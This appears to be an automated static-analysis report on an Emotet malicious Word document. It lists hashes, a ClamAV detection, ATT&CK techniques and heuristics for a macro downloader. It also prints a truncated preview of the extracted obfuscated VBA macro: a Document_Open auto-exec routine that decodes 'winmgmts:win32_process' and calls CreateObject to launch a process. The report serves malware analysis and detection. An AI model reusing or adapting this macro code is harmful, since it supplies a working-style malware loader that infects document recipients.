Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 7b74e28104f505ac…

MALICIOUS

Office (OLE)

225.5 KB Created: 2020-08-25 23:19:00 Authoring application: Microsoft Office Word First seen: 2020-09-24
MD5: 67b984389c6732c7d96c14bfdadf3ab2 SHA-1: 339507da6c422d98de9b136f926a2177c92d8e19 SHA-256: 7b74e28104f505accd677e55a3c29cdeb4041726222814fd614e7f8e9304cd2a
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.EmotetRed02226-9938639-0', strongly suggesting the Emotet family. Critical heuristics indicate a VBA UserForm hidden-property command stager that uses auto-execution via the Document_Open macro and CreateObject. This mechanism is designed to download and execute a second-stage payload, a common Emotet tactic.

Heuristics 7

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12925 bytes
SHA-256: 7e4c26c32808e0018ce19d18b34896b09de3145ca35342cc7ce7329e7c709a82
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "N2lcsffise48"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Va0vbf6j5u_txvq0ik.Zqudtpmjts8_ce
End Sub


Attribute VB_Name = "Va0vbf6j5u_txvq0ik"
Attribute VB_Base = "0{D185D14E-D476-450D-A02C-2B507A75C34E}{8A2E8AC5-AC7D-447B-9EB4-A91588CE9497}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Zqudtpmjts8_ce()
   On Error Resume Next
uwgvd = 2 - CSng(59 - iWg _
 - 720 + Sqr(najq)) - dzsEl01 + Oct(2) * _
  RGtA / CStr(115 / CInt(jgq) * AyAzE977 - jeyLO)
pon = (1 + 140 * (875 - Log(jwqf + CBool(946) / 413 _
 - CBool(ma * ChrB(AjZyv))) - 2 / Log(Tvas07 * Hex(486) - OOdSZ4jE2 + jKY)))
mnbs = dcv / 9 - mss - CSng(3032) / (Zzl * Sgn(9307 _
 / CBool(4)) - 2 - CInt(1 / 9321))
nasd = 68 - Atn(495) - 4305 - ogasZCD * (34 _
 / Fix(PCYGK) / 1 * Oct(9209))
Emjz0b2ol5zgy = 100
   On Error Resume Next
uwgvd = 2 - CSng(59 - iWg _
 - 720 + Sqr(najq)) - dzsEl01 + Oct(2) * _
  RGtA / CStr(115 / CInt(jgq) * AyAzE977 - jeyLO)
pon = (1 + 140 * (875 - Log(jwqf + CBool(946) / 413 _
 - CBool(ma * ChrB(AjZyv))) - 2 / Log(Tvas07 * Hex(486) - OOdSZ4jE2 + jKY)))
mnbs = dcv / 9 - mss - CSng(3032) / (Zzl * Sgn(9307 _
 / CBool(4)) - 2 - CInt(1 / 9321))
nasd = 68 - Atn(495) - 4305 - ogasZCD * (34 _
 / Fix(PCYGK) / 1 * Oct(9209))
K2ojzbscxhdh9xq4pu = ChrW(Emjz0b2ol5zgy + (15))
   On Error Resume Next
uwgvd = 2 - CSng(59 - iWg _
 - 720 + Sqr(najq)) - dzsEl01 + Oct(2) * _
  RGtA / CStr(115 / CInt(jgq) * AyAzE977 - jeyLO)
pon = (1 + 140 * (875 - Log(jwqf + CBool(946) / 413 _
 - CBool(ma * ChrB(AjZyv))) - 2 / Log(Tvas07 * Hex(486) - OOdSZ4jE2 + jKY)))
mnbs = dcv / 9 - mss - CSng(3032) / (Zzl * Sgn(9307 _
 / CBool(4)) - 2 - CInt(1 / 9321))
nasd = 68 - Atn(495) - 4305 - ogasZCD * (34 _
 / Fix(PCYGK) / 1 * Oct(9209))
Vh_e_mp9avze9ty = "23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[w23&bh s6[[hu12 712tdd]]s hj[i23&bh s6[[hu12 712tdd]]s hj[nm23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[gm23&bh s6[[hu12 712tdd]]s hj[t23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[" + K2ojzbscxhdh9xq4pu + "23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[:23&bh s6[[hu12 712tdd]]s hj[w23&bh s6[[hu12 712tdd]]s hj[in23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[323&bh s6[[hu12 712tdd]]s hj[223&bh s6[[hu12 712tdd]]s hj[_23&bh s6[[hu12 712tdd]]s hj[" + Va0vbf6j5u_txvq0ik.Uciuq8dq33i0ywjd + "23&bh s6[[hu12 712tdd]]s hj[ro23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[ce23&bh s6[[hu12 712tdd]]s hj[s23&bh s6[[hu12 712tdd]]s hj[s23&bh s6[[hu12 712tdd]]s hj["
   On Error Resume Next
uwgvd = 2 - CSng(59 - iWg _
 - 720 + Sqr(najq)) - dzsEl01 + Oct(2) * _
  RGtA / CStr(115 / CInt(jgq) * AyAzE977 - jeyLO)
pon = (1 + 140 * (875 - Log(jwqf + CBool(946) / 413 _
 - CBool(ma * ChrB(AjZyv))) - 2 / Log(Tvas07 * Hex(486) - OOdSZ4jE2 + jKY)))
mnbs = dcv / 9 - mss - CSng(3032) / (Zzl * Sgn(9307 _
 / CBool(4)) - 2 - CInt(1 / 9321))
nasd = 68 - Atn(495) - 4305 - ogasZCD * (34 _
 / Fix(PCYGK) / 1 * Oct(9209))
Gmhg1ulzqgb9uqey9d = Bjcembrz7jg490mk(Vh_e_mp9avze9ty)
   On Error Resume Next
uwgvd = 2 - CSng(59 - iWg _
 - 720 + Sqr(najq)) - dzsEl01 + Oct(2) * _
  RGtA / CStr(115 / CInt(jgq) * AyAzE977 - jeyLO)
pon = (1 + 140 * (875 - Log(jwqf + CBool(946) / 413 _
 - CBool(ma * ChrB(AjZyv))) - 2 / Log(Tvas07 * Hex(486) - OOdSZ4jE2 + jKY)))
mnbs = dcv / 9 - mss - CSng(3032) / (Zzl * Sgn(9307 _
 / CBool(4)) - 2 - CInt(1 / 9321))
nasd = 68 - Atn(495) - 4305 - ogasZCD * (34 _
 / Fix(PCYGK) / 1 * Oct(9209))
Set Wf6devnuols = CreateObject(Gmhg1ulzqgb9uqey9d)
   On Error Resume Next
uwgvd = 2 - CSng(59 - iWg _
 - 720 + Sqr(najq)) - dzsEl01 + Oct(2) * _
  RGtA / CStr(115 / CInt(jgq) * AyA
... (truncated)